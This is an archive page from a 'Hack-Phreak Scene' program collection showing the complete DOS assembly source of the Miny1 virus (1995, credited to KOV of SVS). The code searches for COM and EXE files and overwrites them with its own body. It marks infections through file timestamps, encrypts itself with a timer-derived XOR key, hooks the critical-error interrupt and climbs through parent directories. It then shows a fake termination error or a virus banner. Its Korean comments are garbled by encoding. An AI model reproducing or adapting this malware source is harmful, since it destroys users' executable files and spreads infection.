home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
KOREACOL.ZIP
/
MINY.ZIP
/
MINY1.ZIP
/
MY1-433.ASM
next >
Wrap
Assembly Source File
|
1997-02-23
|
7KB
|
183 lines
;*****************************************************************************
;
; úíôí1 (Miny1) : 95.7.31
; 94.8.09 ~ 7.31
; (c) Copyleft 1991-1995 by KOV of SVS,Corea
;
; ës┴a│aïí ña╖í£ß»a╖íöa. öeòó╖a¥í ╨ùò╖╨a╗í ┤gëí £æ╡A KOV ╖ü ña╖í£ß»a
; êa ╖╢╖aíe »í»a╔Q╖i ╠aèA╨aôe íw¥wòí ═í╨qûEöa.
; ║ü¥í öaƒe ña╖í£ß»a╡┴ ╨qìA ╠ß╗Ñöa.
;
;
;
;
;
; *Miny1.100(KV20): ╤e╕ü ùí¥B╔íƒí╖ü ííùe COM ╠a╖⌐
; *Miny1.111(KV21): Windows ╠a╖⌐ê{╖í ╢ß╕w
; *Miny1.123(KV22): TVRES ê{╖í ╢ß╕w
; *Miny1.444(KV23): ¼w╢ß╖íò╖,íA»í╗í ┬ë¥b,┤q╤í╤┴
; !Miny1.xxx(KV24): Int 24h └߃í
;
;
;
;*****************************************************************************
Miny1 SEGMENT PARA 'Miny1'
assume cs:Miny1, ds:Miny1
Org 100h
Entry: call Decode ; ┤q╤í ╬ëïí
Encry_Start:
Mov byte ptr S_Find,00 ; COM êq╡q╖Ñêa, EXE êq╡q╖Ñêa
mov byte ptr Total,00 ; 3êü êq╡q
Mov dx,offset Com_File ; ííùe COM ╠a╖⌐
mov byte ptr Infected,00 ; êq╡qûE êò«ü
Jmp Find_File
;=================================================
; òA╖í╚ß êt ╡w╡b
;
Msg DB 'Abnormal Program Termination.',0Dh,0Ah,'$'
Com_File DB '*.com',00 ;
Exe_File DB '*.exe',00 ;
Total DB ? ; êq╡q»í╟Ñ«ü
Infected DB ? ; ╗íïqîa╗í êq╡qûE ╠a╖⌐ùi
S_Find DB ? ; êq╡q»í╟íëí ╖╢ôe ¼w╚ü
UP DB '..',00 ; ¼w╢ߥí ╖íò╖
Vir_Msg DB ' [Miny1]/KV44 --FREEWARE 1995.7.31 ',0Dh,0Ah
DB ' Hmm.. Ending version. miss you! Miny1 ',0Dh,0Ah
DB ' (c) Copyleft 9192 by KOV of SVS/Corea ',0Dh,0Ah,'$'
mov bx,ds
xor ax,ax
mov ds,ax
push DS:[0090h] ; Int 24h êt ╕ß╕w
Push DS:[0092h]
mov DS:[0090h],offset NewInt24 ; Int 24h êa¥í└æ
mov DS:[0092h],cs
Push CS
Pop DS
Find_File:
Mov ah,4Eh ; ╠a╖⌐ └xïí
Mov cx,0027h ; ╠a╖⌐ ¡ó¼≈
Int 21h
IfFF_ERR: Jc Find_EXE ; ╡A£ß?
ChkInfect:
Mov al, byte ptr DS:[0080h+22] ; êq╡q ╡aªü ê±¼a
And al,1Fh ; 62 ┴í ╖Ñêa?
Cmp al,1Fh
Jnz InfectFile
inc byte ptr INFECTED ; êq╡qûE ╠a╖⌐
Find_NEXT:
Mov ah,4fh ; öa╖q ╠a╖⌐ ê±¼a
Int 21h
Jmp IfFF_ERR
InfectFile:
mov ax,4301h ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í áeùeöa.
xor cx,cx ; DTA êa 0080h ªü╚ß »í╕b╨aúa¥í
mov dx,0080h+1eh
int 21h
mov ax,3d02h ; ╡í╧e/│aïí¥í ╡í╧e
int 21h
xchg ax,bx ; AX ╡A ╨àùi ɲïí
mov ax,5700h ; »íêe ┤Φïí
int 21h
push cx
push dx
xor ax,ax ; ╖▒╖ü╖ü »íêe ┤Φïí (┤q╤í╤┴
mov es,ax ; ╡A ¼a╢w)
mov al,byte ptr ES:[046Ch]
Push CS
Pop ES
mov Key_Value,al
call Write_Vir ; ña╖í£ß»a │aïí ╤í┬ë
pop dx ; »íêe Ñóèü
pop cx
or cx,+1Fh ; ┴íƒi 62┴í ¥í ñaÄæ
mov ax,5701h ; »íêe ╣í╕≈(╢Ñ£ü »íêe)
int 21h
mov ah,3eh ; ╠a╖⌐ öhïí
Int 21h
cmp byte ptr Total,3 ; 3êü êq╡q»í┼vÉa?
jz Stop_Virus
Inc byte ptr Total ; 1 ╗wêa
JMP Find_NEXT
Find_EXE:
cmp byte ptr S_Find,1 ; 01╖ííe EXE ╠a╖⌐òí êq╡q»í┼vöa.
Jnz DX_EXE
mov dx, offset UP ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
mov ah,3Bh
Int 21h
jc Stop_Virus
mov byte ptr S_Find,00 ; COM ╠a╖⌐ ªü╚ß êq╡q
mov dx, offset COM_File
jmp Find_File
DX_EXE:
Mov byte ptr S_Find,01 ; EXE ╠a╖⌐╖i êq╡q»í┼a£a.
Mov dx,offset Exe_File ;
Jmp Find_File
Stop_Virus:
xor ax,ax ; ╢Ñ£ü Int 24h ¥í ñaÄæ
mov ds,ax
pop DS:[0092h]
pop DS:[0090h]
Push CS
Pop DS
mov dx, offset Msg ; ╕≈¼w╕Γ╖Ñ ╡A£ß¥í êa╕w
cmp byte ptr Infected,15 ; 15êü êq╡q»í┼v╖aíe íA»í╗í
jb PrtMsg
mov dx, offset Vir_Msg
mov ax,0F044h ; £æ╡A ¼w║ü╨ü ╖╢ôe ╨üöw ña╖í£ß»a╖ü
Int 21h ; ╗w¼w ╤í┬ë
PrtMsg: mov ah,9 ; íA»í╗í ┬ë¥b
Int 21h
Mov ax,4C23h ; ╦b╖í╨aëA ╣╖₧aêt╖i ║àöa.
int 21h
NewInt24: ; Int 24h └߃í
xor al,al
IRET
End_Encry:
;==================================================
;
;
Write_Vir: call Decode
mov ah,40h
mov dx, 100h
mov cx, offset Vir_END - 100h
Int 21h
call Decode
RET
Key_Value DB ?
Decode:
mov si, 103h ; ┤q╤í »í╕b╕±
mov di,si
mov ah,Key_value ; ┤q╤í ╟íêt
mov cx, offset End_Encry - 103h
E_Ing:
lodsb
xor al,ah
stosb
loop E_ing
RET
Vir_END:
Miny1 ENDS
END Entry